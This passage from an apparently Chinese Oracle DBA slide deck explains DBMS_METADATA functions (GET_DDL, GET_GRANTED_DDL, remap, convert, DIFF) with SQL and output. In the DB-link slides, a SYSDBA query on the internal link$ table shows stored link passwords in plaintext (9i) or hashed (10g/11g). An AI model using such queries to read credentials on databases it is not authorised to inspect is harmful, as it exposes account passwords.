‘CONSTRAINTS’, FALSE);
execute dbms_metadata.set_transform_param(dbms_metadata.session_transform,
‘REF_CONSTRAINTS’, FALSE);
execute dbms_metadata.set_transform_param(dbms_metadata.session_transform,
‘SQLTERMINATOR’, TRUE);
select dbms_metadata.get_ddl('TABLE','EMP','SCOTT') from dual
CREATE TABLE "SCOTT"."EMP"
( "EMPNO" NUMBER(4,0),
"ENAME" VARCHAR2(10),
"JOB" VARCHAR2(9),
"MGR" NUMBER(4,0),
"HIREDATE" DATE,
"SAL" NUMBER(7,2),
"COMM" NUMBER(7,2),
"DEPTNO" NUMBER(2,0)
) ;
execute dbms_metadata.set_transform_param(dbms_metadata.session_transform,
‘CONSTRAINTS’, FALSE);
execute dbms_metadata.set_transform_param(dbms_metadata.session_transform,
‘REF_CONSTRAINTS’, FALSE);
execute dbms_metadata.set_transform_param(dbms_metadata.session_transform,
‘SQLTERMINATOR’, TRUE);
select dbms_metadata.get_ddl('TABLE','EMP','SCOTT') from dual
CREATE TABLE "SCOTT"."EMP"
( "EMPNO" NUMBER(4,0),
"ENAME" VARCHAR2(10),
"JOB" VARCHAR2(9),
"MGR" NUMBER(4,0),
"HIREDATE" DATE,
"SAL" NUMBER(7,2),
"COMM" NUMBER(7,2),
"DEPTNO" NUMBER(2,0)
) ;
每个语句以分号结束
36/92
使用SET_TRANSFORM_PARAM
♠ GET_DDL 输出信息采用缩排或换行格式化: ♠ 例子8:EXEC
DBMS_METADATA.set_transform_param(DBMS_METADATA.session_transform, 'PRETTY', TRUE);
SQL> exec dbms_metadata.set_transform_param( DBMS_METADATA.SESSION_TRANSFORM, 'PRETTY', TRUE);
SQL> select dbms_metadata.get_ddl('TABLE','EMP','SCOTT') from dual;
CREATE TABLE "SCOTT"."EMP"
( "EMPNO" NUMBER(4,0),
"ENAME" VARCHAR2(10),
"JOB" VARCHAR2(9),
"MGR" NUMBER(4,0),
"HIREDATE" DATE,
"SAL" NUMBER(7,2),
"COMM" NUMBER(7,2),
"DEPTNO" NUMBER(2,0),
CONSTRAINT "PK_EMP" PRIMARY KEY ("EMPNO")
USING INDEX PCTFREE 10 INITRANS 2 MAXTRANS 255 COMPUTE STATISTICS
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
TABLESPACE "USERS" ENABLE,
CONSTRAINT "FK_DEPTNO" FOREIGN KEY ("DEPTNO")
REFERENCES "SCOTT"."DEPT" ("DEPTNO") ENABLE
) PCTFREE 10 PCTUSED 40 INITRANS 1 MAXTRANS 255 NOCOMPRESS LOGGING
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
TABLESPACE "USERS"
37/92
GET_DDL导出Profile
♠ GET_DDL 可导出PROFILE信息: ♠例子9:用PROFILE类型: SQL> select dbms_metadata.get_ddl('PROFILE','DEFAULT' ) from dual ;
DBMS_METADATA.GET_DDL('PROFILE','DEFAULT')
-----------------------------------------------------------------
ALTER PROFILE "DEFAULT"
LIMIT
COMPOSITE_LIMIT UNLIMITED
SESSIONS_PER_USER UNLIMITED
CPU_PER_SESSION UNLIMITED
CPU_PER_CALL UNLIMITED
LOGICAL_READS_PER_SESSION UNLIMITED
LOGICAL_READS_PER_CALL UNLIMITED
IDLE_TIME UNLIMITED
CONNECT_TIME UNLIMITED
PRIVATE_SGA UNLIMITED
FAILED_LOGIN_ATTEMPTS 10
PASSWORD_LIFE_TIME 15552000/86400
PASSWORD_REUSE_TIME UNLIMITED
PASSWORD_REUSE_MAX UNLIMITED
PASSWORD_VERIFY_FUNCTION NULL
PASSWORD_LOCK_TIME 86400/86400
PASSWORD_GRACE_TIME 604800/86400
38/92
GET_DDL导出注释
♠ GET_DDL 导出表的注释信息: ♠例子10:用COMMENT类型: --获取表注释
SELECT DBMS_LOB.substr(DBMS_METADATA.get_dependent_ddl
('COMMENT', table_name))
FROM (SELECT distinct table_name
FROM user_col_comments
WHERE comments IS NOT NULL
)
39/92
GET_DDL导出db_link
♠ GET_DDL 导出DB_LINK信息: ♠例子11:9i用DB_LINK类型(口令时明码):
--Oracle 9i
@>show user
USER is "TEST"
@>create database link l_test connect to test identified by test using 'test';
Database link created.
@>select dbms_metadata.get_ddl('DB_LINK','L_TEST',user) from dual;
DBMS_METADATA.GET_DDL('DB_LINK','L_TEST',USER)
——————————————————————————–
CREATE DATABASE LINK "L_TEST"
CONNECT TO "TEST" IDENTIFIED BY "TEST"
USING 'test'
@>conn /as sysdba
Connected.
@>select NAME,USERID,PASSWORD from link$;
NAME USERID PASSWORD
—————————— —————————— ——————————
L_TEST TEST TEST
40/92
GET_DDL导出db_link
♠ GET_DDL 导出DB_LINK信息: ♠ 例子12:10g/11g用DB_LINK类型(口令为Hash值):
--10g/11g
test@TEST>show user
USER is "TEST"
test@TEST>create database link l_chen connect to test identified by test using 'chen';
Database link created.
test@TEST>select DB_LINK,USERNAME from user_db_links;
DB_LINK USERNAME
————————————————– ——————————
L_CHEN.REGRESS.RDBMS.DEV.US.ORACLE.COM TEST
test@TEST>select
dbms_metadata.get_ddl('DB_LINK','L_CHEN.REGRESS.RDBMS.DEV.US.ORACLE.COM',user) from dual;
DBMS_METADATA.GET_DDL('DB_LINK','L_CHEN.REGRESS.RDBMS.DEV.US.ORACLE.COM',USER)
——————————————————————————–
CREATE DATABASE LINK "L_CHEN.REGRESS.RDBMS.DEV.US.ORACLE.COM"
CONNECT TO "TEST" IDENTIFIED BY VALUES '05C9398288555E95E498B33A68083EDD2E'
USING 'chen'
test@TEST>conn /as sysdba
Connected.
sys@TEST>select NAME,USERID,PASSWORD,PASSWORDX from link$;
NAME USERID PASSWORD PASSWORDX
—————————————- ———- ———- —————————————-
L_CHEN.REGRESS.RDBMS.DEV.US.ORACLE.COM TEST
05C9398288555E95E498B33A68083EDD2E
10g/11g 口令做了加密
41/92
GET_DDL导出同义词
--批量产生再创建同义词的脚本:
set pagesize 0
set linesize 200
SET TRIMSPOOL ON
set long 1000000
set longchunksize 1000000
spool c:\scott_emp.sql
-- 可从数据字典查询出表名也可以:
select
dbms_metadata.get_ddl('SYNONYM',OBJECT_NAME,OWNE
R)
from DBA_SYNONYMS a
where owner = 'SCOTT'
/
spool off
♠ 例子13:导出用户同义词脚本: ♠ 自动导出创建同义词批命令:
42/92
GET_DDL导出AQ
♠ DBMS_METADATA.get_ddl
♠对象类型-AQ_QUEUE :
Select dbms_metadata.get_ddl('AQ_QUEUE','DEF$_AQERROR','SYSTEM')
from dual;
DBMS_METADATA.GET_DDL('AQ_QUEUE','DEF$_AQERROR','SYSTEM')
--------------------------------------------------------------------
BEGIN DBMS_AQADM.CREATE_QUEUE(
Queue_name => 'SYSTEM.DEF$_AQERROR',
Queue_table => 'SYSTEM.DEF$_AQERROR',
Queue_type => 0,
Max_retries => 5,
Retry_delay => 0,
dependency_tracking => TRUE,
comment => 'Error Queue for Deferred RPCs')
END
Select dbms_metadata.get_ddl('AQ_QUEUE','DEF$_AQERROR','SYSTEM')
from dual;
DBMS_METADATA.GET_DDL('AQ_QUEUE','DEF$_AQERROR','SYSTEM')
--------------------------------------------------------------------
BEGIN DBMS_AQADM.CREATE_QUEUE(
Queue_name => 'SYSTEM.DEF$_AQERROR',
Queue_table => 'SYSTEM.DEF$_AQERROR',
Queue_type => 0,
Max_retries => 5,
Retry_delay => 0,
dependency_tracking => TRUE,
comment => 'Error Queue for Deferred RPCs')
END
43/92
GET_DDL导出AQ
♠ DBMS_METADATA.get_ddl
♠对象类型-AQ_QUEUE_TABLE :
SQL> select
dbms_metadata.get_ddl('AQ_QUEUE_TABLE','DEF$_AQERROR','SYSTEM')
from dual;
DBMS_METADATA.GET_DDL('AQ_QUEUE_TABLE','DEF$_AQERROR','SYSTE
M')
--------------------------------------------------------------------------------
BEGIN DBMS_AQADM.CREATE_QUEUE_TABLE(
Queue_table => 'SYSTEM.DEF$_AQERROR',
Queue_payload_type => 'VARIANT',
Sort_list => 'ENQ_TIME',
Compatible => '8.0.3')
END
SQL> select
dbms_metadata.get_ddl('AQ_QUEUE_TABLE','DEF$_AQERROR','SYSTEM')
from dual;
DBMS_METADATA.GET_DDL('AQ_QUEUE_TABLE','DEF$_AQERROR','SYSTE
M')
--------------------------------------------------------------------------------
BEGIN DBMS_AQADM.CREATE_QUEUE_TABLE(
Queue_table => 'SYSTEM.DEF$_AQERROR',
Queue_payload_type => 'VARIANT',
Sort_list => 'ENQ_TIME',
Compatible => '8.0.3')
END
44/92
内容
♠ DBMS_METADATA的版本差异
♠ DBMS_METADATA.GET_DDL
♠ DBMS_METADATA包特殊功能
♠ DBMS_METADATA- 11g新功能
♠ DBMS_METADATA_DIFF包
♠ DBMS_METADATA包与安全问题
♠ 用DBMS_METADATA包API
♠ DBMS_METADATA包使用常见问题
45/92
GET_DEPENDENT_DDL
♠ 可导出对象依赖关系: ♠ 使用 GET_DEPENDENT_DDL得到相关的DDL ♠ 类型不能是TABLE
SQL> set long 9999
SQL> SELECT DBMS_METADATA.get_dependent_ddl ('INDEX','EMP','SCOTT') from dual
SQL> /
DBMS_METADATA.GET_DEPENDENT_DDL('INDEX','EMP','SCOTT')
--------------------------------------------------------------------------------
CREATE UNIQUE INDEX "SCOTT"."PK_EMP" ON "SCOTT"."EMP" ("EMPNO")
PCTFREE 10 INITRANS 2 MAXTRANS 255 COMPUTE STATISTICS
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT
FLASH_CACHE DEFAU
LT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "USERS"
46/92
GET_DEPENDENT_DDL
♠ 可导出对象依赖关系: ♠ 使用 GET_DEPENDENT_DDL得到相关的DDL ♠ 类型不能是TABLE
SQL> SELECT DBMS_METADATA.get_dependent_ddl ('INDEX','DEPT','SCOTT') from dual
SQL> /
DBMS_METADATA.GET_DEPENDENT_DDL('INDEX','DEPT','SCOTT')
--------------------------------------------------------------------------------
CREATE UNIQUE INDEX "SCOTT"."PK_DEPT" ON "SCOTT"."DEPT" ("DEPTNO")
PCTFREE 10 INITRANS 2 MAXTRANS 255 COMPUTE STATISTICS
STORAGE(INITIAL 65536 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT
FLASH_CACHE DE
FAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "USERS"
47/92
GET_DEPENDENT_DDL
♠ 可导出对象依赖关系: ♠ 使用 GET_DEPENDENT_DDL ♠ 得到相关的DDL SQL> GRANT select ON emp TO system;
授权成功。
SQL> GRANT select ON emp TO ctxsys;
授权成功。
SQL> set long 9999
SQL> --
SQL> SELECT dbms_metadata.get_dependent_ddl('OBJECT_GRANT','EMP')
2 FROM dual;
DBMS_METADATA.GET_DEPENDENT_DDL('OBJECT_GRANT','EMP')
--------------------------------------------------------------------------------
GRANT SELECT ON "SCOTT"."EMP" TO "SYSTEM"
GRANT SELECT ON "SCOTT"."EMP" TO "CTXSYS"
48/92
GET_GRANTED_DDL
♠ 可用GET_GRANTED_DDL导出权限: ♠ 使用 GET_GRANTED_DDL 列出系统权限
CREATE USER PLSQL_USER IDENTIFIED BY PLSQL_USER;
GRANT CONNECT, RESOURCE, DBA TO PLSQL_USER;
GRANT SELECT ON SCOTT.EMP TO PLSQL_USER;
--
SELECT DBMS_METADATA.GET_GRANTED_DDL('SYSTEM_GRANT','PLSQL_USER')
FROM DUAL;
--
GRANT UNLIMITED TABLESPACE TO "PLSQL_USER"
SELECT DBMS_METADATA.GET_GRANTED_DDL('ROLE_GRANT','PLSQL_USER')
FROM DUAL;
--
GRANT "CONNECT" TO "PLSQL_USER"
GRANT "RESOURCE" TO "PLSQL_USER"
GRANT "DBA" TO "PLSQL_USER"
49/92
GET_GRANTED_DDL
♠可用GET_GRANTED_DDL导出权限: ♠ 使用 GET_GRANTED_DDL 列出对象权限
SELECT DBMS_METADATA.GET_GRANTED_DDL('OBJECT_GRANT','PLSQL_USER')
FROM DUAL;
GRANT SELECT ON "SCOTT"."EMP" TO "PLSQL_USER"
SELECT DBMS_METADATA.GET_GRANTED_DDL('DEFAULT_ROLE','PLSQL_USER')
FROM DUAL;
ALTER USER "PLSQL_USER" DEFAULT ROLE ALL
--
SELECT DBMS_METADATA.GET_GRANTED_DDL('ROLE_GRANT', 'DBA')
FROM DUAL;
GRANT "SELECT_CATALOG_ROLE" TO "DBA" WITH ADMIN OPTION;
GRANT "EXECUTE_CATALOG_ROLE" TO "DBA" WITH ADMIN OPTION;
GRANT "DELETE_CATALOG_ROLE" TO "DBA" WITH ADMIN OPTION;
50/92
GET_GRANTED_DDL
♠可用GET_GRANTED_DDL导出权限: ♠ 使用 GET_GRANTED_DDL 列出DBA拥有的权限
SELECT DBMS_METADATA.GET_GRANTED_DDL('OBJECT_GRANT', 'DBA')
FROM DUAL;
GRANT ALTER ON "SYS"."MAP_OBJECT" TO "DBA";
GRANT SELECT ON "SYS"."MAP_OBJECT" TO "DBA";
GRANT FLASHBACK ON "SYS"."MAP_OBJECT" TO "DBA";
GRANT EXECUTE ON "SYS"."DBMS_FLASHBACK" TO "DBA";
--
SELECT DBMS_METADATA.GET_GRANTED_DDL('SYSTEM_GRANT', 'DBA')
FROM DUAL;
GRANT CREATE ANY SQL PROFILE TO "DBA" WITH ADMIN OPTION;
GRANT ADMINISTER ANY SQL TUNING SET TO "DBA" WITH ADMIN OPTION;
GRANT DROP ANY SQL PROFILE TO "DBA" WITH ADMIN OPTION;
GRANT MANAGE SCHEDULER TO "DBA" WITH ADMIN OPTION;
51/92
GET_GRANTED_DDL
♠ 可用GET_GRANTED_DDL导出权限: ♠ GET_GRANTED_DDL 列出Public拥有的权限 SQL> SELECT DBMS_METADATA.GET_GRANTED_DDL('OBJECT_GRANT', 'PUBLIC')
2 FROM DUAL;
DBMS_METADATA.GET_GRANTED_DDL('OBJECT_GRANT','PUBLIC')
--------------------------------------------------------------------------------
GRANT USE ON "SYS"."ORA$BASE" TO PUBLIC
GRANT SELECT ON "SYS"."DUAL" TO P
SQL> conn scott/tiger123
已连接。
SQL> grant select on emp to public;
授权成功。
SQL> SELECT DBMS_METADATA.GET_GRANTED_DDL('OBJECT_GRANT', 'PUBLIC')
2 FROM DUAL;
DBMS_METADATA.GET_GRANTED_DDL('OBJECT_GRANT','PUBLIC')
--------------------------------------------------------------------------------
GRANT SELECT ON "SCOTT"."EMP" TO PUBLIC
SQL> connect sys as sysdba
输入口令:
已连接。
SELECT DBMS_METADATA.GET_GRANTED_DDL('OBJECT_GRANT', 'PUBLIC')
FROM DUAL;
DBMS_METADATA.GET_GRANTED_DDL('OBJECT_GRANT','PUBLIC')
--------------------------------------------------------------------------------
GRANT USE ON "SYS"."ORA$BASE" TO PUBLIC
GRANT SELECT ON "SYS"."DUAL" TO P
在sys下看不到scott授权给Public的数据
52/92
GET_QUERY
♠ 可用GET_QUERY 查询对象的信息: ♠ dbms_metadata.get_query 获得XML元数据;
set long 1000000
set serveroutput on
set pagesize 0
set linesize 1000
set trim on
set trimspool on
spool c:\demo.txt
DECLARE
n NUMBER;
s VARCHAR2(32767);
BEGIN
SELECT dbms_metadata.open('TABLE') INTO n FROM dual;
SELECT dbms_metadata.get_query (n) INTO s FROM dual;
dbms_output.put_line(s);
dbms_metadata.close(n);
END;
/
spool off
53/92
GET_XML
♠ 可用GET_XML 查询对象的信息: ♠ dbms_metadata.get_XML获得XML元数据; ♠ 与dbms_metadata.get_query有些差异
SQL> SELECT DBMS_METADATA.GET_XML('TABLE', 'EMP') FROM DUAL;
<?xml version="1.0"?><ROWSET><ROW>
<TABLE_T>
<VERS_MAJOR>1</VERS_MAJOR>
<VERS_MINOR>3 </VERS_MINOR>
<OBJ_NUM>73196</OBJ_NUM>
…
54/92
convert_to_canonical
♠ 用convert_to_canonical转换字串成规范的格式: ♠ 使用 函数convert_to_canonical
SQL> SELECT dbms_metadata.convert_to_canonical('11.1.0.6.0')
2 FROM dual;
11.01.00.06.00
--将年月转换成规范的格式:
SQL> SELECT dbms_metadata.convert_to_canonical('2009.10.6')
2* FROM dual;
2009.10.06.00.00
55/92
SET_REMAP_PARAM
♠ 可用直接 将对象创建到另一个SCHEMA中: ♠ 使用 set_remap_param 实现
CREATE OR REPLACE FUNCTION remap_schema RETURN CLOB IS
h NUMBER; --handle returned by OPEN
th NUMBER; -- handle returned by ADD_TRANSFORM
doc CLOB;
BEGIN
-- 指定对象类型
h := DBMS_METADATA.OPEN('TABLE');
-- 设置对象过滤
DBMS_METADATA.SET_FILTER(h,'SCHEMA','HR');
DBMS_METADATA.SET_FILTER(h,'NAME','TIMECARDS');
-- 请求修改 schema 名称.
th := DBMS_METADATA.ADD_TRANSFORM(h,'MODIFY');
DBMS_METADATA.SET_REMAP_PARAM(th,'REMAP_SCHEMA','HR','SCOTT');
DBMS_METADATA.SET_REMAP_PARAM(th,'REMAP_TABLESPACE','USERS','SYSTEM');
-- 请求数据转换为 DDL.
th := DBMS_METADATA.ADD_TRANSFORM(h,'DDL');
-- 段的属性不返回
DBMS_METADATA.SET_TRANSFORM_PARAM(th,'STORAGE',false);
-- 返回对象
doc := DBMS_METADATA.FETCH_CLOB(h);
-- 释放资源
DBMS_METADATA.CLOSE(h);
RETURN doc;
END remap_schema;
/
56/92
CONVERT
♠ 用这个程序可将元数据进行转换 : ♠ 1.用 DBMS_METADATA.CONVERT编程 create or replace function ddl_no_schema
( table_name varchar2 default NULL, from_schema varchar2 default NULL, to_schema
varchar2 default NULL)
return clob is
h1 NUMBER; -- handle returned by OPEN
h2 NUMBER; -- handle returned by OPENW
th1 NUMBER; -- handle returned by ADD_TRANSFORM for MODIFY
th2 NUMBER; -- handle returned by ADD_TRANSFORM for DDL
xml CLOB; -- XML document
hiho sys.KU$_MULTI_DDLS;
hiho2 sys.KU$_DDLs;
hiho3 cloB;
begin
h1 := DBMS_METADATA.OPEN('TABLE');
DBMS_METADATA.SET_FILTER(h1,'NAME',table_name);
DBMS_METADATA.SET_FILTER(h1,'SCHEMA',from_schema);
xml := DBMS_METADATA.FETCH_CLOB(h1);
DBMS_METADATA.CLOSE(h1);
h2 := DBMS_METADATA.OPENW('TABLE');
th1 := DBMS_METADATA.ADD_TRANSFORM(h2,'MODIFY');
DBMS_METADATA.SET_REMAP_PARAM(th1,'REMAP_SCHEMA',from_schema,to_schema);
th2 := DBMS_METADATA.ADD_TRANSFORM(h2,'DDL');
hiho := DBMS_METADATA.CONVERT(h2, xml);
hiho2 := hiho(1).DDLS;
hiho3 := hiho2(1).ddltext;
DBMS_METADATA.CLOSE(h2);
return hiho3;
end;
/
57/92
CONVERT
♠ 用这个程序可将元数据进行转换 : ♠ 2.使用ddl_no_schema程序
SQL> select ddl_no_schema('METADATA_TEST','HIHO','SYS') from dual;
DDL_NO_SCHEMA('METADATA_TEST',
--------------------------------------------------------------------------------
CREATE TABLE "SYS"."METADATA_TEST"
( "I" NUMBER(*,0)
) ;
SQL> select ddl_no_schema('METADATA_TEST','HIHO',NULL) from dual;
DDL_NO_SCHEMA('METADATA_TEST',
--------------------------------------------------------------------------------
CREATE TABLE "METADATA_TEST"
( "I" NUMBER(*,0)
) ;
58/92
内容
♠ DBMS_METADATA的版本差异
♠ DBMS_METADATA.GET_DDL
♠ DBMS_METADATA包特殊功能
♠ DBMS_METADATA- 11g新功能
♠ DBMS_METADATA_DIFF包
♠ DBMS_METADATA包与安全问题
♠ 用DBMS_METADATA包API
♠ DBMS_METADATA包使用常见问题
59/92
11g DBMS_METADATA包新变化
♠ GET_CHECK_CONSTRAINT_NAME
♠ GET_FK_CONSTRAINT_NAME
♠ GET_HASHCODE
♠ GET_INDEX_INTCOL
♠ GET_STAT_COLNAME
♠ GET_STAT_INDNAME
♠ GET_SXML_DDL
♠ OPEN_GET_FK_CONSTRAINT_NAME
♠ PARSE_CONDITION
♠ PARSE_DEFAULT
♠ PARSE_QUERY
♠ SET_FK_CONSTRAINT_COL_PAIR
♠ SET_PARAMETER
60/92
get_check_constraint_name
♠ 可用get_check_constraint_name列出约束名: ♠ 1.创建表与约束:
SQL> CREATE TABLE t (testcol NUMBER(3));
表已创建。
SQL> ALTER TABLE t
2 ADD CONSTRAINT cc_t_testcol_gt
3 CHECK (testcol > 0);
表已更改。
SQL> ALTER TABLE t
2 ADD CONSTRAINT cc_t_testcol_bt
3 CHECK (testcol BETWEEN 1 AND 10);
表已更改。
SQL> SELECT constraint_name, search_condition
2 FROM user_constraints
3 WHERE table_name = 'T';
CC_T_TESTCOL_GT testcol > 0
CC_T_TESTCOL_BT testcol BETWEEN 1 AND 10
61/92
get_check_constraint_name
♠ 可用get_check_constraint_name列出约束名: ♠ 2. 用get_check_constraint_name列出约束:
set serveroutput on
DECLARE
otype VARCHAR2(30) := 'TABLE';
pc CLOB := 'testcol > 0';
retval VARCHAR2(100);
BEGIN
retval := dbms_metadata.get_check_constraint_name(otype,
USER, 'T', pc);
dbms_output.put_line(retval);
END;
/
62/92
GET_FK_CONSTRAINT_NAME
♠ 可用GET_FK_CONSTRAINT_NAME列出外键: ♠ 1.创建主键、外部键表结构:
CREATE TABLE parent (testcol NUMBER(3));
ALTER TABLE parent
ADD CONSTRAINT pk_parent
PRIMARY KEY (testcol);
CREATE TABLE child (testcol NUMBER(3));
ALTER TABLE child
ADD CONSTRAINT fk_child_parent_testcol
FOREIGN KEY (testcol)
REFERENCES parent(testcol);
63/92
GET_FK_CONSTRAINT_NAME
♠ 可用GET_FK_CONSTRAINT_NAME列出外键:
♠ 2.运行下面脚本列出外部键元数据: set serveroutput on
DECLARE
otype VARCHAR2(30) := 'TABLE';
hdl NUMBER;
retval VARCHAR2(100);
BEGIN
hdl := dbms_metadata.open_get_fk_constraint_name(otype,
USER, 'CHILD', USER, 'PARENT');
dbms_output.put_line(hdl);
dbms_metadata.set_fk_constraint_col_pair(hdl, 'TESTCOL',
'TESTCOL');
retval := dbms_metadata.get_fk_constraint_name(hdl);
dbms_output.put_line(retval);
dbms_metadata.close(hdl);
END;
/
64/92
get_version
♠可用GET_VERSION列出版本: ♠ DBA可列出版本:
SQL> SELECT dbms_metadata.get_version FROM dual;
11.01.00.00.00
65/92
dbms_metadata.compare_alter
♠ dbms_metadata.compare_alter : ♠ 可列出两个用户的两个对象的差异: ♠ 参考DBMS_METADATA_DIFF.COMPARE_ALTER(
dbms_metadata.compare_alter (
object_type IN VARCHAR2,
name1 IN VARCHAR2,
name2 IN VARCHAR2,
schema1 IN VARCHAR2 DEFAULT NULL,
schema2 IN VARCHAR2 DEFAULT NULL,
network_link1 IN VARCHAR2 DEFAULT NULL,
network_link2 IN VARCHAR2 DEFAULT NULL)
RETURN CLOB;
66/92
dbms_metadata.compare_alter
♠ dbms_metadata.compare_alter :
♠ 可列出两个用户的两个对象的差异:
conn uwclass/uwclass
set serveroutput on
--
DECLARE
c CLOB;
BEGIN
SELECT dbms_metadata.compare_alter('TABLE', 'SERVERS', 'SERV_INST', USER, USER)
INTO c
FROM dual;
dbms_output.put_line(c);
dbms_advisor.create_file(c, 'CTEMP', 'compalter.txt');
END;
/
67/92
内容
♠ DBMS_METADATA的版本差异
♠ DBMS_METADATA.GET_DDL
♠ DBMS_METADATA包特殊功能
♠ DBMS_METADATA- 11g新功能
♠ DBMS_METADATA_DIFF包
♠ DBMS_METADATA包与安全问题
♠ 用DBMS_METADATA包API
♠ DBMS_METADATA包使用常见问题
68/92
DBMS_METADATA_DIFF包
♠ DBMS_METADATA_DIFF包:
♠ DBMS_METADATA_DIFF包含的程序: SQL> desc DBMS_METADATA_DIFF
PROCEDURE ADD_DOCUMENT
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
HANDLE NUMBER IN
DOCUMENT XMLTYPE IN
PROCEDURE ADD_DOCUMENT
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
HANDLE NUMBER IN
DOCUMENT CLOB IN
PROCEDURE CLOSE
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
HANDLE NUMBER IN
FUNCTION COMPARE_ALTER RETURNS CLOB
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
OBJECT_TYPE VARCHAR2 IN
NAME1 VARCHAR2 IN
NAME2 VARCHAR2 IN
SCHEMA1 VARCHAR2 IN DEFAULT
SCHEMA2 VARCHAR2 IN DEFAULT
NETWORK_LINK1 VARCHAR2 IN DEFAULT
NETWORK_LINK2 VARCHAR2 IN DEFAULT
FUNCTION COMPARE_ALTER_XML RETURNS CLOB
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
OBJECT_TYPE VARCHAR2 IN
NAME1 VARCHAR2 IN
NAME2 VARCHAR2 IN
SCHEMA1 VARCHAR2 IN DEFAULT
SCHEMA2 VARCHAR2 IN DEFAULT
NETWORK_LINK1 VARCHAR2 IN DEFAULT
NETWORK_LINK2 VARCHAR2 IN DEFAULT
SQL> desc DBMS_METADATA_DIFF
PROCEDURE ADD_DOCUMENT
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
HANDLE NUMBER IN
DOCUMENT XMLTYPE IN
PROCEDURE ADD_DOCUMENT
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
HANDLE NUMBER IN
DOCUMENT CLOB IN
PROCEDURE CLOSE
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
HANDLE NUMBER IN
FUNCTION COMPARE_ALTER RETURNS CLOB
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
OBJECT_TYPE VARCHAR2 IN
NAME1 VARCHAR2 IN
NAME2 VARCHAR2 IN
SCHEMA1 VARCHAR2 IN DEFAULT
SCHEMA2 VARCHAR2 IN DEFAULT
NETWORK_LINK1 VARCHAR2 IN DEFAULT
NETWORK_LINK2 VARCHAR2 IN DEFAULT
FUNCTION COMPARE_ALTER_XML RETURNS CLOB
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
OBJECT_TYPE VARCHAR2 IN
NAME1 VARCHAR2 IN
NAME2 VARCHAR2 IN
SCHEMA1 VARCHAR2 IN DEFAULT
SCHEMA2 VARCHAR2 IN DEFAULT
NETWORK_LINK1 VARCHAR2 IN DEFAULT
NETWORK_LINK2 VARCHAR2 IN DEFAULT
FUNCTION COMPARE_SXML RETURNS CLOB
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
OBJECT_TYPE VARCHAR2 IN
NAME1 VARCHAR2 IN
NAME2 VARCHAR2 IN
SCHEMA1 VARCHAR2 IN DEFAULT
SCHEMA2 VARCHAR2 IN DEFAULT
NETWORK_LINK1 VARCHAR2 IN DEFAULT
NETWORK_LINK2 VARCHAR2 IN DEFAULT
FUNCTION FETCH_CLOB RETURNS CLOB
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
HANDLE NUMBER IN
PROCEDURE FETCH_CLOB
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
HANDLE NUMBER IN
XMLDOC CLOB IN/OUT
PROCEDURE FETCH_CLOB
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
HANDLE NUMBER IN
XMLDOC CLOB IN/OUT
DIFFS BOOLEAN OUT
FUNCTION OPENC RETURNS NUMBER
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
OBJECT_TYPE VARCHAR2 IN
FUNCTION COMPARE_SXML RETURNS CLOB
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
OBJECT_TYPE VARCHAR2 IN
NAME1 VARCHAR2 IN
NAME2 VARCHAR2 IN
SCHEMA1 VARCHAR2 IN DEFAULT
SCHEMA2 VARCHAR2 IN DEFAULT
NETWORK_LINK1 VARCHAR2 IN DEFAULT
NETWORK_LINK2 VARCHAR2 IN DEFAULT
FUNCTION FETCH_CLOB RETURNS CLOB
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
HANDLE NUMBER IN
PROCEDURE FETCH_CLOB
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
HANDLE NUMBER IN
XMLDOC CLOB IN/OUT
PROCEDURE FETCH_CLOB
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
HANDLE NUMBER IN
XMLDOC CLOB IN/OUT
DIFFS BOOLEAN OUT
FUNCTION OPENC RETURNS NUMBER
参数名称 类型 输入/输出默认值?
------------------------------ ----------------------- ------ --------
OBJECT_TYPE VARCHAR2 IN
69/92
DBMS_METADATA_DIFF包
♠ DBMS_METADATA_DIFF包:
♠ 世界天天变,Oracle产品天天变;让我们天天学!
♠ 这个包用于对变化进行管理(因为表数据总是变) ♠ 进行数据库对象的比较;同时可以生成修改差异的脚本
♠ PROCEDURE ADD_DOCUMENT
♠ PROCEDURE CLOSE
♠ FUNCTION COMPARE_ALTER RETURNS CLOB
♠ FUNCTION COMPARE_ALTER_XML RETURNS CLOB
♠ FUNCTION COMPARE_SXML RETURNS CLOB
♠ FUNCTION FETCH_CLOB RETURNS CLOB
♠ PROCEDURE FETCH_CLOB
♠ PROCEDURE FETCH_CLOB
♠ FUNCTION OPENC RETURNS NUMBER
70/92
DBMS_METADATA_DIFF包
♠ DBMS_METADATA_DIFF包:
♠ DBMS_METADATA_DIFF.COMPARE_ALTER:
DBMS_METADATA_DIFF.COMPARE_ALTER(
